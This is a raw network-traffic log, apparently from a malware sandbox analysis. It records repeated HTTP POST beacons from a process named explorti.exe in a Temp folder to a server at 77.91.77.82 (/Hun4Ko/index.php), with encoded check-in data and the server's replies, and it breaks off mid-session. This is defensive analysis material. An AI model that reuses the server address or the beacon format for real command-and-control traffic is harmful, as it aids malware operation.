Jul 2, 2024 12:22:57.541114092 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:58.250253916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	55332	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:58.373269081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:59.059905052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	55333	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:59.069118977 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:59.777514935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	55334	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:59.887773037 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:00.610101938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	55335	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:00.618659019 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	55336	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:00.747549057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:01.456883907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	55337	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:01.471714020 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:02.187808990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	55338	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:02.308514118 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:03.026228905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	55339	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:03.037209988 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:03.938195944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	55340	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:04.063841105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:04.777373075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	55341	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:04.785882950 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:05.488471031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	55342	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:05.610008955 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:06.310885906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	55343	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:06.320704937 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:07.041968107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	55344	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:07.153630018 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:08.845853090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:23:08.846565008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:23:08.847419024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:23:08.847893953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	55345	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:08.856731892 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:09.580223083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	55346	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:09.700476885 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:10.427756071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	55347	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:10.438772917 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:11.130868912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	55348	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:11.246182919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:11.937767982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	55349	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:11.952166080 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:12.647840977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	55350	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:12.766812086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:13.476600885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	55351	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:13.487026930 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:14.222745895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	55352	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:14.342859983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:15.071782112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	55353	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
